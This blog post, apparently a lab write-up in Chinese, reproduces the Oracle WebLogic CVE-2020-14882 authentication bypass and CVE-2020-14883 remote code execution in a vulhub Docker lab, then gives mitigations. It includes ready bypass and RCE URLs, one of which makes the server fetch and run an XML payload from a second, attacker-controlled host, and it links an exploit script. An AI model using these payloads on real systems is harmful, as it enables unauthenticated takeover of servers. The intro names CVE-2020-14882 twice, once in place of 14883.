漏洞介绍
在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14882。
CVE-2020-14882 允许远程用户规避控制台组件中的身份验证。导致此漏洞的原因是服务器 URL 的路径遍历黑名单配置不当,可以在 WebLogic HTTP 访问的处理程序类中找到该黑名单。可以使用双编码字符串比如%252e%252e%252fconsole.portal绕过登陆限制进行访问。
CVE-2020-14883 允许未经身份验证的用户在管理员控制台组件上执行任何命令。由此产生的风险是,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令,并完全控制主机。
环境搭建
下载好vulhub后,进入/vulhub/weblogic/CVE-2020-14882目录下:
进入该目录下,启动环境,命令:docker-compose up -d
至此,环境搭建完成
访问此网址,会弹出来登录界面:
http://192.168.223.141:7001/console/login/LoginForm.jsp
漏洞POC:http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal
访问后,可以看到成功进入了后台。
尽管进入了后台,因为权限较低,也无法进行相关操作。所以此时根据漏洞介绍,我们就需要用到CVE-2020-14883这个漏洞。该漏洞使得攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下,接管WebLogic Server Console,可执行任意代码。这个漏洞有两种利用方式:
【1】通过com.tangosol.coherence.mvel2.sh.ShellSession类:
(1)使用GET请求方式:
可用com.tangosol.coherence.mvel2.sh.ShellSession执行相应的命令,访问如下URL:
输入命令docker-compose exec weblogic bash进入容器中,查看tmp目录,可以看到success1已成功被创建,命令被成功执行。
(2)使用POST请求方式:
上面使用GET请求,是没有回显的。接下来通过执行python脚本,实现输入命令,可直接有回显
此Python脚本来自:
https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py
【2】通过****com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
(1)加载xml执行命令
我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,可以自行搭建,由于没有一台有公网IP的服务器,与上面一样,这里我直接访问与被攻击机同网段的另一台主机(windows10)上的xml,将该xml置于phpstudy的WWW目录下即可访问,该xml的目的是执行touch命令,在tmp目录下创建success2
然后输入如下URL,即可让Weblogic加载攻击机上的rce.xml,并执行其中的命令:http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.223.152/rce.xml")
访问后页面显示如下:
依旧通过docker-compose exec weblogic bash命令进入容器,查看tmp中是否创建了success2
可以看到success2成功被创建,命令执行成功。
修复建议
(1)在不影响正常业务的情况下,建议暂时对外关闭后台 /console/console.portal 的访问权限 ,或者对 Console 访问路径进行重命名(将默认的请求路径 console 更改为一个不易猜解的请求路径)。
(2)查看应用程序日志中,是否存在包含双重编码路径遍历的HTTP请求:%252E%252E%252F和在请求URI里的console.portal
(3)监视网络流量中的可疑 HTTP 请求
(4)监视应用程序创建的任何可疑进程,比如cmd.exe、/bin/sh
版权归原作者 m0_52089634 所有, 如有侵权,请联系我们删除。